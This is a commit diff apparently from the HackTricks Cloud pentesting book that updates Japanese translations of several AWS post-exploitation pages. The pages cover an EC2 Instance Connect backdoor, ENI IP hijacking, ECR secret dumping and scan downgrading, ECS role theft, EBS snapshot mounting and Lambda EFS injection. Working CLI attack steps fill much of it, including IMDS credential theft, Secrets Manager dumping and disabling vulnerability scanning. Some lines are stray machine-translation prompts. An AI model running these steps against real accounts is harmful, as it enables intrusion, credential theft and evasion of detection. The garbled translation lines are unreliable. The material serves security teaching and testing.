Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

2026-01-07 02:03:45 -08:00 · 2025-10-23 13:10:21 +00:00
parent 3aeb03e96b
commit 2a1f379497
18 changed files with 489 additions and 472 deletions
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -2,19 +2,19 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、パブリックIPや bastion がないプライベート EC2 インスタンスへの着信 SSH アクセスを獲得する方法:
+EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、プライベートな EC2 インスタンス（no public IP/bastion）への受信 SSH アクセスを獲得する方法:
 - ターゲットサブネット内に EIC Endpoint を作成する
- ターゲットの SG に対して EIC Endpoint SG からの着信 SSH を許可する
- `ec2-instance-connect:SendSSHPublicKey` を使って短命の SSH 公開鍵（約60秒有効）を注入する
- EIC トンネルを開いてインスタンスにピボットし、IMDS からインスタンスプロファイルのクレデンシャルを窃取する
+- ターゲット SG に対して EIC Endpoint SG からの受信 SSH を許可する
+- `ec2-instance-connect:SendSSHPublicKey` を使って短時間有効（約60秒）の SSH 公開鍵を注入する
+- EIC トンネルを開き、pivot してインスタンスに到達し、IMDS から instance profile の認証情報を窃取する

-Impact: バスチオンや public IP の制限を回避し、プライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者はインスタンスプロファイルを引き受けてアカウント内で操作できます。
+Impact: bastions や public IP 制限を回避してプライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者は instance profile を利用してアカウント内で操作できます。

-## Requirements
+## 要件
 - 必要な権限:
 - `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
 - `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- SSH サーバーと EC2 Instance Connect が有効なターゲット Linux インスタンス（Amazon Linux 2 または Ubuntu 20.04+）。デフォルトユーザ: `ec2-user` (AL2) または `ubuntu` (Ubuntu).
+- SSH サーバーが稼働し、EC2 Instance Connect が有効なターゲットの Linux インスタンス (Amazon Linux 2 または Ubuntu 20.04+)。デフォルトユーザー: `ec2-user` (AL2) または `ubuntu` (Ubuntu).

 ## 変数
 ```bash
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
 # OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
 export OS_USER=ec2-user
 ```
-## EIC Endpoint を作成
+## EIC エンドポイントを作成する
 ```bash
 aws ec2 create-instance-connect-endpoint \
 --subnet-id "$SUBNET_ID" \
@@ -45,7 +45,7 @@ grep -q 'create-complete' EIC_STATE && break
 sleep 5
 done
 ```
-## EIC Endpoint からターゲットインスタンスへのトラフィックを許可する
+## EIC Endpoint から target instance へのトラフィックを許可する
 ```bash
 aws ec2 authorize-security-group-ingress \
 --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
 # SSH via the tunnel (within the 60s window)
 ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
 ```
-## ポストエクスプロイテーションの証明（インスタンスプロファイル資格情報の窃取）
+## Post-exploitation 実証 (instance profile credentials を窃取)
 ```bash
 # From the shell inside the instance
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
 ```
-そのファイルの内容がまだ提供されていません。src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md のマークダウン内容を貼り付けてください。
+翻訳する英語テキストを貼ってください。コード、リンク、タグなどは翻訳せずそのまま保持します。
 ```json
 {
 "Code": "Success",
@@ -89,7 +89,7 @@ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat R
 "Expiration": "2025-10-08T04:09:52Z"
 }
 ```
-盗んだ creds をローカルで使って本人確認する:
+盗まれた creds をローカルで使用して本人確認を行う:
 ```bash
 export AWS_ACCESS_KEY_ID=<AccessKeyId>
 export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
@@ -108,6 +108,7 @@ aws ec2 revoke-security-group-ingress \
 aws ec2 delete-instance-connect-endpoint \
 --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
 ```
-> 注意
-> - 注入されたSSHキーは約60秒しか有効ではありません。トンネル/SSHを開く直前にキーを送信してください。
-> - `OS_USER` は AMI と一致する必要があります（例：`ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
+> 注記
+> - 注入された SSH キーは約60秒しか有効ではありません。トンネル/SSH を開く直前にキーを送信してください。
+> - `OS_USER` は AMI と一致する必要があります（例: `ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -2,49 +2,50 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者ENIのセカンダリプライベートIPを盗み、同じサブネット/ AZ内の攻撃者ENIに移動させます。多くの内部サービスやセキュリティグループは特定のプライベートIPでアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者はL3で信頼されたホストになりすまし、allowlistedなサービスに到達できます。
+`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者 ENI のセカンダリ private IP を奪い、同一の subnet/AZ にある攻撃者 ENI に移動します。多くの内部サービスや security groups は特定の private IP によってアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者は L3 で信頼されたホストを偽装し、allowlisted なサービスへ到達できます。

-前提条件:
- 権限: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` が被害者ENIのARNに対して、`ec2:AssignPrivateIpAddresses` が攻撃者ENIのARNに対して必要です。
- 両方のENIは同じサブネット/AZ内にある必要があります。ターゲットアドレスはセカンダリIPでなければなりません（プライマリは割り当て解除できません）。
+Prereqs:
+- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
+- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

-変数:
+Variables:
 - REGION=us-east-1
 - VICTIM_ENI=<eni-xxxxxxxx>
 - ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_SG=<sg-protected>   # ターゲットサービス上の SG（$HIJACK_IP のみを許可）
 - PROTECTED_HOST=<private-dns-or-ip-of-protected-service>

-手順:
-1) 被害者ENIからセカンダリIPを選択する
+Steps:
+1) 被害者 ENI からセカンダリ IP を選択する
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
 export HIJACK_IP=$(cat HIJACK_IP)
 ```
-2) 保護対象のホストがそのIPのみを許可していることを確認する（idempotent）。代わりにSG-to-SGルールを使用している場合は、スキップする。
+2) 保護されたホストがそのIPのみを許可していることを確認する（冪等）。代わりにSG-to-SG rulesを使用している場合はスキップ。
 ```bash
 aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
 ```
-3) ベースライン: attacker instance から PROTECTED_HOST へのリクエストは、spoofed source がないと失敗するはず（例: SSM/SSH 経由）
+3) ベースライン: attacker instance から PROTECTED_HOST への request は spoofed source を使わないと失敗するはず (e.g., SSM/SSH)
 ```bash
 curl -sS --max-time 3 http://$PROTECTED_HOST || true
 ```
-4) 被害者の ENI からセカンダリ IP の割り当てを解除する
+4) 被害者の ENI から secondary IP の割り当てを解除する
 ```bash
 aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-5) 同じIPを攻撃者のENIに割り当てる (AWS CLI v1では `--allow-reassignment` を追加)
+5) 同じIPを attacker ENI に割り当てる（AWS CLI v1 では `--allow-reassignment` を追加）
 ```bash
 aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-6) 所有権が移転したことを確認
+6) 所有権が移動したことを確認する
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
 ```
-7) attacker instance から、hijacked IP に source-bind して protected host に到達する（IP が OS に設定されていることを確認する。設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
+7) 攻撃者インスタンスから、hijacked IP を source-bind して保護対象のホストに到達する（OS に IP が設定されていることを確認する; 設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
 ```bash
 curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
 ```
 ## 影響
- 同一の subnet/AZ 内で ENIs 間に secondary private IPs を移動することで、VPC 内の IP allowlists を回避し、trusted hosts を偽装できます。
- 特定の source IPs によってアクセスを制限している内部サービスに到達でき、lateral movement とデータアクセスが可能になります。
+- 同じ subnet/AZ 内の ENIs 間で secondary private IPs を移動させることで、VPC 内の IP allowlists を回避し、信頼されたホストを偽装できます。
+- 特定の source IPs によってアクセス制御されている internal services に到達でき、lateral movement や data access を可能にします。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## ECR

-詳細は次を参照してください
+詳細は以下を参照してください

 {{#ref}}
 ../../aws-services/aws-ecr-enum.md
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**：
+イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**:

 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens

 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-これらの権限のいずれかを持つ攻撃者は、**リポジトリ内のすべてのイメージを削除するように lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに格納されているすべてのコンテナイメージが失われます。
+これらの権限のいずれかを持つ攻撃者は、**リポジトリ内の全てのイメージを削除するための lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに保存されているすべてのコンテナイメージが失われます。
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### ECR Pull‑Through Cache (PTC) から上流レジストリの認証情報を抽出する

+ECR Pull‑Through Cache が認証された上流レジストリ（Docker Hub、GHCR、ACR など）用に構成されている場合、上流の認証情報は予測可能な名前プレフィックス `ecr-pullthroughcache/` を持つ AWS Secrets Manager に保存されます。運用者が ECR 管理者に広範な Secrets Manager の読み取り権限を付与していることがあり、これにより認証情報の持ち出しや AWS 外での再利用が可能になります。

-
-
-
-### ECR Pull‑Through Cache (PTC) から upstream registry credentials を exfiltrate する
-
-ECR Pull‑Through Cache が認証済みの upstream registries（Docker Hub、GHCR、ACR など）に対して設定されている場合、upstream の認証情報は AWS Secrets Manager に予測可能な名前プレフィックス `ecr-pullthroughcache/` で保存されます。運用者は時に ECR 管理者に対して広範な Secrets Manager の読み取りアクセスを付与しており、その結果、認証情報の exfiltration や AWS 外での再利用が可能になることがあります。
-
-Requirements
+要件
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-候補となる PTC secrets を列挙する
+PTC の候補シークレットを列挙する
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
 --output text
 ```
-発見された secrets を Dump し、一般的なフィールドを解析する
+発見した secrets をダンプして一般的なフィールドを解析する
 ```bash
 for s in $(aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
 jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
 done
 ```
-任意: leaked creds を upstream (read‑only login) に対して検証する
+任意: upstream に対して leaked creds を検証する (read‑only login)
 ```bash
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 影響
- これらの Secrets Manager エントリを読み取ることで、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは upstream の権限に応じて、AWS の外部で private images を pull したり、追加の repositories へアクセスするために悪用される可能性があります。
+- これらの Secrets Manager エントリを読み取ると、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは AWS 外部で悪用され、private images を pull したり、upstream permissions に応じて追加のリポジトリへアクセスするために使われます。


-### レジストリ単位のステルス: `ecr:PutRegistryScanningConfiguration` を使用してスキャンを無効化またはダウングレード
+### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`

-レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを何も設定しないことで、ALL リポジトリの自動脆弱性スキャンを静かに低下または無効化できます。これにより新しいイメージの push が自動的にスキャンされなくなり、脆弱なまたは悪意のあるイメージを隠すことができます。
+レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を scan-on-push ルール無しで BASIC に設定することで、全てのリポジトリに対する自動脆弱性スキャンを静かに低減または無効化できます。これにより新しい image pushes が自動的にスキャンされなくなり、脆弱または悪意のあるイメージが隠蔽されます。

-要件
+Requirements
 - ecr:PutRegistryScanningConfiguration
 - ecr:GetRegistryScanningConfiguration
 - ecr:PutImageScanningConfiguration (optional, per‑repo)
 - ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)

-レジストリ全体を手動へダウングレード（自動スキャンなし）
+レジストリ全体を手動にダウングレード（自動スキャン無し）
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-任意: リポジトリのスコープでさらに劣化させる
+任意: リポジトリのスコープでさらに権限を低下させる
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -174,18 +168,19 @@ aws ecr put-image-scanning-configuration \
 --image-scanning-configuration scanOnPush=false
 ```
 影響
- レジストリ全体への新しいイメージのプッシュが自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが開始されるまで検出が遅れる。
+- レジストリ全体への新しいイメージのプッシュは自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動でスキャンを実行するまで検出が遅延します。
+

 ### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` でダウングレードする (AWS_NATIVE -> CLAIR)

-デフォルトの AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これによりスキャンが無効化されるわけではありませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールなしの BASIC registry scanning configuration と組み合わせると、スキャンを手動のみの運用にできます。
+デフォルトの AWS_NATIVE から旧式の CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出品質を低下させます。スキャン自体は無効になりませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールが設定されていない BASIC のレジストリスキャン設定と組み合わせると、スキャンを手動のみで実行するようにできます。

 要件
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (オプション) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+- （オプション）`ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

 影響
- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。
+- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定されるため、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。

 手順
 ```bash
@@ -206,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
 # 5) Restore to AWS_NATIVE when finished to avoid side effects
 aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -4,41 +4,42 @@

 ## ECS

-詳細は次を参照してください:
+For more information check:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
 {{#endref}}

-### ホストの IAM ロール
+### Host IAM Roles

-In ECS、コンテナ内で実行されるタスクには**IAM role をタスクに割り当てることができる**。**もし**そのタスクが**EC2**インスタンス内で実行されている場合、**EC2 instance**には別の**IAM**ロールがアタッチされます。\
-つまり、もし ECS インスタンスを**compromise**できれば、**obtain the IAM role associated to the ECR and to the EC2 instance** 可能性があります。これらの資格情報を取得する方法の詳細は次を参照してください:
+ECS では、コンテナ内で実行される task に **IAM role を割り当てることができます**。\
+タスクが **EC2** instance 内で実行されている場合、**EC2 instance** には別の **IAM** role がアタッチされます。\
+つまり、ECS instance を **compromise** できれば、ECR や EC2 instance に紐づく **IAM role を取得できる可能性があります**。これらの資格情報を取得する方法の詳細は次を参照してください：

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}

 > [!CAUTION]
-> EC2 instance が IMDSv2 を強制している場合、[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**response of the PUT request** は **hop limit of 1** を持つため、EC2 instance 内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.

 ### Privesc to node to steal other containers creds & secrets

-さらに、EC2 は docker を使って ECs タスクを実行しているため、ノードに脱出するか**access the docker socket**できれば、どの**other containers**が実行されているかを**check**でき、実際にそれらに**get inside of them**してアタッチされている**IAM roles**を**steal their IAM roles**することも可能です。
+さらに、EC2 は docker を使って ECS tasks を実行しているため、もし node に escape するか **docker socket にアクセス**できれば、どの **other containers** が実行されているかを **確認** し、それらに **入り込んで** アタッチされている **IAM roles を steal** することさえできます。

-#### 現在のホストでコンテナを実行させる
+#### Making containers run in current host

-さらに、**EC2 instance role** は通常クラスタ内のノードとして使用されている EC2 インスタンスの **update the container instance state** を行うのに十分な **permissions** を持っています。攻撃者は**state of an instance to DRAINING**に変更することができ、その後 ECS はそのインスタンスから**remove all the tasks from it**し、**REPLICA**として実行されているものは**run in a different instance,**、場合によっては攻撃者の**attackers instance**内で実行され、そこで**steal their IAM roles**やコンテナ内部の機密情報を取得することができます。
+さらに、**EC2 instance role** は通常、クラスター内のノードとして使われている EC2 インスタンスの **container instance state を更新する**ための十分な **permissions** を持っています。攻撃者はインスタンスの **state を DRAINING に変更**することができ、すると ECS はそのインスタンスから **すべての tasks を削除**し、**REPLICA** として実行されているタスクは別のインスタンスで **run in a different instance** ことになります。これが攻撃者のインスタンス内で実行される可能性があり、その場合攻撃者はコンテナ内から **IAM roles を steal** したり、機密情報を取得できます。
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-同じ手法は、**EC2 インスタンスをクラスターから deregister することで実行できます**。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させることを強制します：**
+同じ手法は **deregistering the EC2 instance from the cluster** によって行うことができます。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させる**ことを強制します：
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行う可能性のある API は 3 つあります:
+tasksの再実行を強制する最後の手法は、ECSに**task or container was stopped**と通知することです。これを行うAPIは3つあります：
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -52,23 +53,24 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Steal sensitive info from ECR containers

-The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **イメージをダウンロードする**（それらの中から機密情報を検索できる）。
+
+

-{{#include ../../../../banners/hacktricks-training.md}}

 ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

-ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取ります。
+既存のEBSスナップショットの内容を新しいECS task/service 内に直接マウントし、コンテナ内部からデータを読み取るためにネイティブなECS EBS統合 (2024+) を悪用する。

 - Needs (minimum):
- ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
+- `ecs:RegisterTaskDefinition`
+- One of: `ecs:RunTask` OR `ecs:CreateService`/`ecs:UpdateService`
+- `iam:PassRole` on:
 - ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
 - Task execution/Task roles referenced by the task definition
 - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impact: スナップショットから任意のディスク内容（例：データベースファイル）をコンテナ内で読み取り、ネットワーク／ログ経由で持ち出すことが可能。
+- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、network/logs 経由で exfiltrate できる。

 Steps (Fargate example):

@@ -79,7 +81,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) `configuredAtLaunch` とマークされたボリュームを持つ task definition を登録し、container にマウントします。例（シークレットを出力してからスリープします）:
+2) タスク定義を登録し、volume を `configuredAtLaunch` に設定してコンテナにマウントします。例（シークレットを出力してからスリープします）:
 ```json
 {
 "family": "ht-ebs-read",
@@ -99,7 +101,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) サービスを作成または更新し、EBS スナップショットを `volumeConfigurations.managedEBSVolume` 経由で渡す（infra role に iam:PassRole が必要）。例：
+3) `volumeConfigurations.managedEBSVolume` 経由で EBS snapshot を渡してサービスを作成または更新する（インフラロールに iam:PassRole が必要）。例：
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -113,7 +115,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) タスクが開始されると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。task の network/logs を経由して exfiltrate してください。
+4) タスクが開始すると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。Exfiltrate は task の network/logs 経由で行ってください。

 クリーンアップ:
 ```bash
@@ -121,4 +123,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
 aws ecs deregister-task-definition ht-ebs-read
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -1,18 +1,20 @@
 # AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

-`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、その後マウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を持ち出します。
+{{#include ../../../../banners/hacktricks-training.md}}
+
+既存の EFS Access Point を Lambda にアタッチするために `lambda:UpdateFunctionConfiguration` を悪用し、続いてマウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、当該関数が以前はアクセスできなかった共有のシークレットや設定を漏えいさせます。

 ## 要件
- 必要な権限（被害アカウント/プリンシパル）:
+- 被害者アカウント／プリンシパルに必要な権限:
 - `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (関数を見つけるため)
+- `lambda:ListFunctions`（関数を見つけるため）
 - `lambda:UpdateFunctionConfiguration`
 - `lambda:UpdateFunctionCode`
 - `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (マウントターゲットが存在することを確認するため)
- 環境の前提:
- ターゲットの Lambda は VPC 有効化されており、そのサブネット/SGs が TCP/2049 経由で EFS マウントターゲットの SG に到達できること（例: ロールに AWSLambdaVPCAccessExecutionRole が付与され、VPC ルーティングが許可されている）。
- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットを持っていること。
+- `efs:DescribeMountTargets`（マウントターゲットが存在することを確認するため）
+- 環境に関する前提:
+- ターゲットの Lambda が VPC 有効で、サブネット／SG が TCP/2049 で EFS mount target SG に到達できること（例: ロールが AWSLambdaVPCAccessExecutionRole を持ち、VPC のルーティングがそれを許可している）。
+- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットが存在すること。

 ## 攻撃
 - 変数
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
 # wait until LastUpdateStatus == Successful
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
 ```
-2) code を単純な reader に上書きして、ファイルを列挙し候補の secret/config ファイルの先頭200バイトを読み取る
+2) コードを上書きして、ファイルを列挙し、候補の secret/config file の先頭200バイトを覗く簡易リーダーにする
 ```
 cat > reader.py <<PY
 import os, json
@@ -62,13 +64,13 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
 aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
 cat /tmp/efs-out.json
 ```
-出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含める必要があります。
+出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含めるべきです。

 ## 影響
-一覧された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントし、当該関数からはこれまでアクセスできなかった EFS 上の共有 configuration と secrets を読み取り、exfiltrate できます。
+列挙された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントして、元々その関数からアクセスできなかった EFS 上の共有設定や secrets を読み取り、exfiltrate できます。

 ## クリーンアップ
 ```
 aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -1,36 +1,38 @@
 # AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)

